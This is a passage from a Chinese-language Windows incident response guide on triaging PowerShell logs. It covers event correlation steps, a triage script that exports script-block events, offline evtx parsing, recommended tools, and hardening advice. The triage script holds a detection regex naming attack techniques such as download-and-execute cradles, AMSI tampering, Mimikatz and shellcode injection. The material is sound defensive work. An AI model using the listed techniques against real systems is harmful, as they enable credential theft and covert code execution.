Step 5: 关联4103获取执行用户和Host Application

Step 6: 关联4688/Sysmon获取进程树

Step 7: 反混淆并提取IOC(URL, IP, 文件路径, 注册表键)

9.2 快速分诊脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# PowerShell日志快速分诊 - 一键输出报告
$outputDir = "C:\IR\PS_Triage_$(Get-Date -Format yyyyMMdd_HHmmss)"
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null

Write-Host "[*] Exporting 4104 events..." -ForegroundColor Cyan
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -ErrorAction SilentlyContinue |
Select-Object TimeCreated,
@{N='ScriptBlockId';E={$_.Properties[3].Value}},
@{N='Path';E={$_.Properties[4].Value}},
@{N='ScriptBlockText';E={$_.Properties[2].Value}} |
Export-Csv "$outputDir\4104_events.csv" -NoTypeInformation -Encoding UTF8

Write-Host "[*] Exporting 4103 events..." -ForegroundColor Cyan
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4103} -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message |
Export-Csv "$outputDir\4103_events.csv" -NoTypeInformation -Encoding UTF8

Write-Host "[*] Searching for suspicious patterns..." -ForegroundColor Cyan
$suspicious = Import-Csv "$outputDir\4104_events.csv" |
Where-Object { $_.ScriptBlockText -match 'DownloadString|DownloadFile|Invoke-Expression|IEX|AmsiUtils|Mimikatz|FromBase64String|VirtualAlloc|CreateThread|Net\.WebClient|Invoke-Shellcode|Invoke-ReflectivePEInjection' }
$suspicious | Export-Csv "$outputDir\suspicious_scripts.csv" -NoTypeInformation -Encoding UTF8

Write-Host "[*] Collecting transcript files..." -ForegroundColor Cyan
Get-ChildItem -Path "C:\Users\*\Documents\PowerShell_transcript*" -Recurse -ErrorAction SilentlyContinue |
Copy-Item -Destination $outputDir -ErrorAction SilentlyContinue

Write-Host "[+] Triage complete. Output: $outputDir" -ForegroundColor Green
Write-Host "[+] Total 4104 events: $((Import-Csv "$outputDir\4104_events.csv").Count)" -ForegroundColor Green
Write-Host "[+] Suspicious scripts: $($suspicious.Count)" -ForegroundColor Yellow

9.3 离线日志分析(evtx文件)

当无法在目标机器上交互式分析时:

1
2
3
4
5
6
7
# 拷贝evtx文件
Copy-Item "C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx" "C:\IR\"

# 在分析机上解析evtx
Get-WinEvent -Path "C:\IR\Microsoft-Windows-PowerShell%4Operational.evtx" -FilterHashtable @{Id=4104} |
Select-Object TimeCreated, @{N='Script';E={$_.Properties[2].Value}} |
Export-Csv "C:\IR\offline_4104.csv" -NoTypeInformation

工具推荐:

EvtxECmd (Eric Zimmerman): 快速解析evtx到CSV/JSON

Hayabusa: 基于Sigma规则的evtx分析工具,自动匹配威胁

DeepBlueCLI: 专门针对PS日志的检测脚本

Timeline Explorer: 可视化CSV时间线

十、加固建议

必须全量启用Script Block Logging(4104)和Module Logging(4103)

启用Transcription并输出到远程共享(防删除)

移除PowerShell v2 (Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root)

启用Constrained Language Mode(通过WDAC/AppLocker)

配置Event Log转发到SIEM(日志量大,确保存储足够)

增大PowerShell Operational日志大小:

1
wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824

部署Sysmon增强进程监控(补充4688不记录的父子进程关系)

配置AMSI provider确保覆盖所有脚本引擎


上一章 目录 下一章
09-注册表持久化审计 Windows应急响应 11-RDP暴力破解与未授权访问